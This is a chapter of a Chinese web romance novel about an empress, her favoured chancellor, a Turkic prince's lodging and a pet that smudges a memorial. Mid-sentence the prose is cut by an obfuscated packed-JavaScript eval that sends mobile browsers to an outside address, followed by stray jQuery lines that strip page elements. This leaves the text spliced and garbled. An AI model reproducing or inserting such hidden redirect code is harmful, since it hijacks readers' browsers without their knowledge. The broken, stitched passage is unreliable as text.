43. 退还

    符染察觉出她神色有异,担忧地问道:“圣人?圣人?您怎么了?”


    宋撄宁捂住眼睛,闷闷地说:“朕最近折子看多了,经常眼花。”


    “那臣去将御医请来吧,您的身子关乎江山社稷,不能出什么问题。”


    “嗯,看看也好,以防万一。”


    御医来时听说了皇帝双眼有碍,吓出一身冷汗,一路跟着宫人飞奔而来,气喘吁吁,生怕因为自己而耽误陛下治疗。


    待听了宋撄宁描述,又仔细检查一遍后,才松了一口气。


    “陛下这些日子用眼过多,晚间还是少看些折子,即使不得不看,也需得把烛火点亮些,天气凉了,尚食局也多上些滋补的菜肴......”御医絮絮叨叨说了一堆,留下一张密密麻麻的药方。


    符染心有余悸,已经当场唤了尚食女官来商议,要给她好好补一补。


    崔望熙来时,难得见到了紫宸殿里聚着许多人。


    他撩开珠帘走进内殿,坐在宋撄宁身旁,“怎么又叫御医了?哪里不舒服?”


    宋撄宁往里靠了些,懒洋洋地回道:“没什么大事,刚刚眼花了一下,阿染担心,所以叫了御医——又得喝苦药了。”


    崔望熙拉起她的手放在膝上,眉眼温柔:“良药——”


    “朕可不想听什么良药苦口利于病,若是再说,你也陪朕一起喝。”


    “好好好,我不说了。”他悄悄凑近了些,目光滑向某个位置,倾身问她:“怎么不见了?”


    “什么、什么......”宋撄宁反应过来,抬手便将他推远,“你还敢提这个,幸亏朕拿脂粉盖了,不然被玉山见到,那多羞人。”


    崔望熙瞥了一眼外殿正在专心讨论的几人,用指腹轻轻捻住,果然搓下了一层浅浅的脂粉,隐隐露出了内里的痕迹。


    “朕对你太过宽容,叫你——”她轻轻踢了一下,“得寸进尺。”


    “看你之恃宠而骄,比墨贵妃有过之而无不及。”


    “嗯,我知道圣人对我好。”崔望熙听着那一声嗔骂,嘴角几乎压不住,“比墨贵妃好。”


    “这怎么能比?”宋撄宁偏过头,勾着他腰间玉佩把玩,“贵妃可是能在朕怀里的。”


    玉佩光洁温润,她对着光观察上面的花纹,被崔望熙小心地捂住眼睛。


    “御医刚刚才说圣人用眼过多,别看了——这是宝相,护平安的。”


    宋撄宁点头道:“那朕不看了。”


    “不过圣人有句话说得不妥。”


    “哪一句?”


    她阖着眼,崔望熙带笑的声音传入耳中:“撄宁说,我与衔墨奴‘怎么能比’,它在你怀里。”


    “然后呢?”


    “可是......撄宁也可以在我怀里。”


    宋撄宁就知道他要说这些:“油嘴滑舌。”


    “圣人这几日为了七王子的事,劳累许多,听说司农寺卿下午也要过来求见,睡一会吧。”


    他起身拉下窗边的卷帘,又到外殿去和宫人叮嘱了一番,才默默离开。


    三日后,突厥使团秘密离京,一路疾奔返程。


    宋撄宁得到消息时,正坐在太极殿上,看着殿中每日都会上演的唇枪舌战,明明其中几个年事已高,却这样有活力。


    不禁想起她昨日召见的卢讷等人,他们明年才能外放,最近被派去侍讲经筵,引得不少京畿学子前去听课。


    “陛下!请陛下为臣做主啊!”


    宋撄宁淡淡瞥了一眼,温言安抚道:“于大人为朝廷劳心劳力,朕是知道的,二位都是朕之能臣,何必为细枝末节争个不停呢?”


    前方的卢桓哼了一声,没再提刚刚的事,道了句陛下圣明。


    散了朝,符染前来请示她:“圣人,就让那些使者们平平安安地回到突厥吗?不用......”


    “当然不用,”宋撄宁接了杯热茶暖暖,“得让他们见到莫明,计划才可进行下去,不过他们再来大邺时,就不必在再留了。”


    “那七王子该如何安置,一直住在四方馆吗?”据她了解,宋撄宁短期内不可能对河西用兵,临近冬日年底,百姓亦需要休养生息,准备过年的事宜。


    她这样一说,宋撄宁才觉得自己漏下了对玉山的安排。


    “那让他入住蓬莱殿吧,那里空了许多年了,但华美大气,不会怠慢了他。”


    “蓬莱殿?”符染吩咐宫人将熬好的药端来,“那曾经是先帝淑妃殿下的住所呀。”


    “皇祖考为了稳定朝纲,的确迎了不少人入宫,朕这一朝,倒少了这些烦恼了。”


    浓郁的苦味扑面而来,宋撄宁蹙了蹙眉,想到自己的双眼,最终还是捏着鼻子一口饮尽。


    将碗递给宫人,含了枚樱桃脯在口中,她细思着符染的话,感觉她另有所指。


    “你是担心,旁人胡乱猜测?”


    符染点点头:“历来蓬莱、含象、温室等殿,都是专为后宫而设,圣人此举,若叫朝臣以为......”


    “这无妨,立政殿没给他住就行,其余宫殿也并未有过规定非得给什么人住,裘沛他们就不能叫闲下来,找点事去给礼部忙忙。”


    “对了,朕前些日子不是和崔相傅相商讨了学生们读书的问题吗?礼部掌天下教化,宣裘沛和两位侍郎过来,把这事安排给他们,年底前,朕要看到他们有个思路。”


    “若实在没什么头绪,可以去寻朕的老师问一问。”


    科举改革是她早就想做的事情,但也只能一步步走。


    符染踯躅片刻,小声道:“入秋后谢太傅的咳疾就犯了,一直不肯叨扰圣人......”


    谢华筝从前身子便不太好,加之上了年岁,除了最初处理云氏、王氏谋逆,其余的事务她很少再去寻老师了,谢太傅为了谢家日渐鼎盛的权势,也开始避嫌,安心居家静养。


    谢氏毕竟有谢翼这样的武将重臣,洛州牧亦是谢华筝的族妹,许多双眼睛都在盯着。


    “那些稀有的名药,谢家也是不缺的,朕若再赐下,只会让老师不安......”宋撄宁眉间染了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068761|161269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些许怅然,“派一位御医悄悄去谢家看看吧,确保老师无虞后再来回禀朕。”


    “尊荣、名声、财宝,没有一样是老师想要的,朕也不知该怎么回报自己的恩师。”她默默提起笔,符染走来替她研墨。


    “圣人江山稳固,顺遂无忧,谢太傅便能安心......您都明白呀。”


    墨锭在砚台中打着圈儿滑动,宋撄宁刚刚展开一张折子,便听符染发出一声惊呼,一个棕色的毛茸影子从眼前飞快窜过,撞掉了一堆奏折,还在纸上留了个深深的墨印,圆乎乎的爪子形状清晰可见。


    “贵妃是不是跑进书房了!”


    “嘘,圣人在里面呢......”


    几个小宫女匆匆赶来,看见落了一地的折子,慌忙请罪。


    “好了,先去把衔墨奴抓起来,这里叫人来收拾一下。”宋撄宁无奈地看了眼折子的开篇,“崔望熙”三字明晃晃落在纸前。


    还好。


    幸而他是中书之首,奏折被排在最上头,若是什么冯慷、傅善平等人,保不得要胡思乱想是不是何处惹恼了君主。


    宫人们手脚麻利地将桌上的打翻的墨水擦拭干净,换上干净的地毯,又把“罪魁祸首”洗刷好,送来给宋撄宁。


    “圣人要罚它吗?”小宫女有些不忍地看着她怀中的小兽,“圣人要不还是罚奴婢吧......”


    “罢了,”宋撄宁看她这副模样,只好道:“朕罚你做什么?以后不给衔墨进书房就是了。”


    她把崔望熙那份被折腾得惨不忍睹的折子单独放着,撕了张纸条写上几个字,夹在奏折里递给一旁的宫人:“退还给崔中书。”


    政事堂里,众人正埋着头处理各自的事务,忽见紫宸殿的人快步走来,手上还捧着折子,纷纷警惕起来,回想着自己昨日可说了什么触怒圣上的话。


    那宫人一路往里,最终在紫衣男人身边站定,“圣人将崔中书的折子退还,请中书令一观。”


    陛下最倚重、最信任的崔相的折子被退了?


    这可真是前所未有、难得一见啊!


    众人假意低头,暗中却目不转睛地盯着那处。


    崔望熙亦感到好奇,他今日上的应该是关于军器监的事,若是有意和突厥开战,武器上得做些改善,难道有何不妥吗?


    直到他将折子打开,一张细细的纸条飘落在桌上,折子里一团糟,杂乱的墨迹和脚印映入眼帘,他瞬间明白了是什么事。


    再去看那帝王亲笔的小纸条:【咱们的贵妃调皮,子昭定不会和它计较的,对嘛?】


    他对那宫人道:“稍等片刻,我重新誊写一份。”


    宫人自是知晓其中缘由,耐心地等待在侧。


    崔望熙将折子写好吹干,又如宋撄宁一般撕了张纸条写了些什么,夹在折子里交给宫人,“小心些。”


    盼着能一见中书令黯然失色、失魂落魄的人失望地收回目光,继续办自己快要完不成的政务了。


    崔大人新交来的奏章与纸条一起,被放在了书房的桌案上。